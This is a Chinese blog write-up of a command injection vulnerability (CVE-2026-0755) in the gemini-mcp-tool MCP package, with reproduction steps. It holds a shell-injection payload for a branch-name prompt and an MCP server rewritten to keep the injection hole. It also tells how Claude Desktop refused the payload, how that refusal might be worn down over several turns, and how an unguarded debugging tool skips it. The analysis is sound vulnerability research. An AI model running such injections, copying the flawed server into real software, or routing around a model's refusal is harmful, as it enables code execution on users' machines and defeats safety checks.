一次从发现到利用的安全漏洞分析之旅

在浏览安全资讯的时候,我偶然间看到了 CVE-2026-0755,这是一个关于 gemini-mcp-tool 的命令注入漏洞。对MCP 协议不太了解,我心里充满了疑问:

  • MCP 到底是什么?为什么会有这样的协议?
  • gemini-mcp-tool 是干什么用的?
  • execAsync 命令注入是如何发生的?
  • 更重要的是:这个漏洞要怎么挖掘和触发?⭐⭐⭐⭐⭐

漏洞简介

gemini-mcp-tool 是一个开源的 npm 包,用于在 Claude Desktop 等 MCP 客户端中集成 Google Gemini AI。该工具允许用户通过 MCP 协议调用 Gemini 的各种能力。在 gemini-mcp-tool 的 contribute.ts 文件中,存在一个命令执行漏洞。该漏洞源于用户输入缺乏充分验证,直接将用户输入拼接到 shell 命令中执行。

影响版本≤ 1.1.2

⚠️ 重要说明:漏洞位于 contribute.ts,该文件并没有直接作为 MCP 服务暴露。它是 gemini-mcp-tool 项目的贡献者辅助工具,它是一个交互式终端UI,一个独立的命令行工具。因此,默认情况下,这个漏洞无法通过 Claude Desktop 等 MCP 客户端直接触发。

MCP 详解

什么是 MCP?
MCP(Model Context Protocol,模型上下文协议)是一种用于连接大型语言模型(LLM)与外部数据源、工具的开放标准协议。能够让 AI 模型(如 Claude、Gemini)能够安全地访问和使用外部工具、数据源和服务。

它解决了一个核心问题:

💡如何让 AI 像人类一样使用工具?比如搜索网页、读取文件、操作数据库、调用 API 等。

MCP 架构图

image

MCP 的完整工作流程

image

MCP Server 的配置与启动

MCP Server 本质上就是一个普通的程序(可以是 Node.js、Python 等编写),它通过标准输入/输出(stdio) 或网络与客户端通信。

要让 Claude Desktop 使用某个 MCP Server,需要在配置文件中注册。

  • Claude Desktop 配置文件位置:

    • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
    • Windows: %APPDATA%\Claude\claude_desktop_config.json
    • Linux: ~/.config/claude/claude_desktop_config.json

典型配置示例:

{
  "mcpServers": {
    "my-tool": {
      "command": "node",
      "args": ["/path/to/server.js"]
    }
  }
}
参数 说明
mcpServers 所有 MCP Server 的注册表
my-tool 给这个 MCP Server 起的名字(可任意命名)
command 启动 MCP Server 所需的可执行文件(如 node,python3)
args 传给命令的参数(如 MCP Server 的脚本路径)

🔑 关键点: 当 Claude Desktop 启动时,它会读取这个配置,并自动在本地启动这些 MCP Server 程序。

漏洞复现&分析

在 CVE 描述中提到了 execAsync 命令注入 我们直接在代码中搜索 execAsync

image

只有文件 src/contribute.ts 存在这个函数的定义和调用

import { spawn, exec } from "child_process";

代码导入了 Node.js 的 child_process模块,这是 Node.js 提供的子进程管理模块,允许在 Node.js 中执行系统命令。

const execAsync = (command: string): Promise<string> => {
  return new Promise((resolve, reject) => {
    exec(command, (error, stdout, stderr) => {
      if (error) {
        reject(new Error(`${error.message}\n${stderr}`));
      } else {
        resolve(stdout.trim());
      }
    });
  });
};

命令执行的核心封装,通过 exec 创建子 shell 进程,执行命令,捕获 stdout/stderr

帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

在菜单中选择 Create Feature Branch 后

image

image

image

这个函数的核心作用是帮助开发者在 Git 仓库中自动创建新的功能分支。整个过程首先会在终端显示一个绿色加粗的标题,告诉用户正在创建分支。然后通过 inquirer.prompt() 这个交互式命令行工具来获取用户输入的功能名称。

当程序执行到 await inquirer.prompt 这一行时:inquirer.prompt() 会在终端显示一个输入框,然后程序会完全暂停执行,等待用户输入内容并按下回车键。用户输入完成后,inquirer.prompt() 会返回一个对象,通过解构赋值 ${featureName} 可以提取出用户输入的功能名称。

拿到用户输入后,程序使用模板字符串来拼接完整的分支名。模板字符串使用反引号包裹的字符串,它最大的特点时可以在字符串中使用 来嵌入变量。当程序执行fˋeature/{} 来嵌入变量。当程序执行 \`feature/来嵌入变量。当程序执行fˋeature/{featureName}` 时,${featureName} 这个占位符会在运行时被替换成变量的实际值。

接下来函数会执行一系列 Git 命令。execAsync 函数:会启动一个子进程,在这个子进程中运行传入的 shell 命令(就像在终端中手动输入命令一样),然后等待命令执行完成。每个 await execAsync 都会让程序暂停,直到对应的命令执行完毕才继续下一步。

虽然分支名用双引号包裹了,但这种防护是不充分的。问题的根源在于:用户输入在传递给 shell 执行之前,没有经过转义处理或严格的输入验证。可以通过在输入中插入双引号来提前闭合原有的字符串边界,然后利用 shell 的特殊字符(如 &、;、|、` 等)注入并执行任意命令。

这个工具本质上是一个命令行自动化脚本的图形化封装,通过 Node.js 的子进程能力,将复杂的 Git 工作流程简化为菜单选择操作。

cd gemini-mcp-tool-1.1.2 # 进入项目根目录

git init                 # 初始化 git 仓库
git add .                # 将所有文件添加
git commit -m "init"     # 创建初始提交
git branch -M main       # 将默认分支重命名为 main


git remote add upstream . # 添加一个假的 upstream(避免 pull upstream 报错)


npx ts-node src/contribute.ts # 启动程序

# 选择 "Create Feature Branch" 选项来创建功能分支

 test" & calc & echo "        # 输入 payload

7

💭 疑问:contribute.ts 只是一个需要手动运行的 CLI 工具,用户必须主动输入恶意 payload。我们要怎样配置才可以让它变成远程代码执行?

我们将代码稍微修改使其变成一个可被远程访问的 mcp 服务

git-workflow-helper.ts

#!/usr/bin/env node

/**
 * Git 工作流助手 - MCP 服务器
 * 
 * 提供常用的 Git 工作流操作,帮助开发者快速创建功能分支
 */

import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import {
  CallToolRequestSchema,
  ListToolsRequestSchema,
} from "@modelcontextprotocol/sdk/types.js";
import { exec } from "child_process";

// ========================================
// 核心功能实现
// ========================================

/**
 * 执行 shell 命令的辅助函数
 */
const execAsync = (command: string, cwd?: string): Promise<string> => {
  return new Promise((resolve, reject) => {
    exec(command, { cwd }, (error, stdout, stderr) => {
      if (error) {
        reject(new Error(`${error.message}\n${stderr}`));
      } else {
        resolve(stdout.trim());
      }
    });
  });
};

/**
 * 创建功能分支
 * 
 * 自动从主分支创建新的功能分支,并确保代码是最新的
 * 
 * @param featureName - 功能名称,将自动添加 feature/ 前缀
 * @returns 操作结果消息
 */
async function createFeatureBranch(featureName: string): Promise<string> {
  try {
    const gitRepo = process.env.GIT_REPO_PATH || process.cwd();
    const branchName = `feature/${featureName}`;

    // 切换到主分支
    await execAsync("git checkout main", gitRepo);

    // 拉取最新更新
    await execAsync("git pull upstream main", gitRepo);

    // 创建并切换到新分支
    await execAsync(`git checkout -b "${branchName}"`, gitRepo);

    return `✅ Branch created successfully: ${branchName}`;
  } catch (error) {
    if (error instanceof Error) {
      return `❌ Branch creation failed: ${error.message}`;
    }
    return `❌ Unknown error occurred`;
  }
}

// ========================================
// MCP 服务器配置
// ========================================

const server = new Server(
  {
    name: "git-workflow-helper",
    version: "1.0.0",
  },
  {
    capabilities: {
      tools: {},
    },
  }
);

/**
 * 注册可用工具
 */
server.setRequestHandler(ListToolsRequestSchema, async () => {
  return {
    tools: [
      {
        name: "create_feature_branch",
        description:
          "Create a new Git feature branch from main. Automatically pulls latest changes and creates a properly named feature branch.",
        inputSchema: {
          type: "object",
          properties: {
            feature_name: {
              type: "string",
              description:
                "Name of the feature (e.g., add-login-page, fix-bug-123, update-documentation). Do not include 'feature/' prefix as it will be added automatically.",
            },
          },
          required: ["feature_name"],
        },
      },
    ],
  };
});

/**
 * 处理工具调用
 */
server.setRequestHandler(CallToolRequestSchema, async (request) => {
  if (request.params.name === "create_feature_branch") {
    const featureName = request.params.arguments?.feature_name as string;

    if (!featureName) {
      return {
        content: [
          {
            type: "text",
            text: "❌ Error: feature_name parameter is required",
          },
        ],
      };
    }

    const result = await createFeatureBranch(featureName);

    return {
      content: [
        {
          type: "text",
          text: result,
        },
      ],
    };
  }

  return {
    content: [
      {
        type: "text",
        text: `❌ Unknown tool: ${request.params.name}`,
      },
    ],
  };
});

// ========================================
// 启动服务器
// ========================================

async function main() {
  const transport = new StdioServerTransport();
  await server.connect(transport);

  console.error("Git Workflow Helper started");
  console.error("Ready to assist with Git operations");
  console.error(`Working directory: ${process.env.GIT_REPO_PATH || process.cwd()}`);
}

main().catch((error) => {
  console.error("Fatal error:", error);
  process.exit(1);
});
npm install --save-dev typescript
npx tsc src/git-workflow-helper.ts --outDir dist --module commonjs --target es2020 --esModuleInterop
move dist\git-workflow-helper.js dist\git-workflow-helper.cjs

image

image

image

Claude Desktop 利用失败

image

image

image

我们发现在 Claude Desktop 上利用失败了,是因为 Claude AI 的智能安全防护层会自动识别和拒绝危险操作,即使 MCP 工具本身有漏洞,Claude 也会拒绝执行看起来像是命令注入的操作。(或许可以通过多次对话绕过安全识别)

我们可以通过 MCP Inspector(Model Context Protocol官方调试工具),它只是一个技术调试工具,直接传递数据,没有任何安全判断机制,纯粹用于开发者测试 MCP 工具的原始功能,能够精确展示 MCP 工具本身的漏洞,而不会被上层 AI 安全机制拦截。

npx @modelcontextprotocol/inspector node dist/git-workflow-helper.cjs

8

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐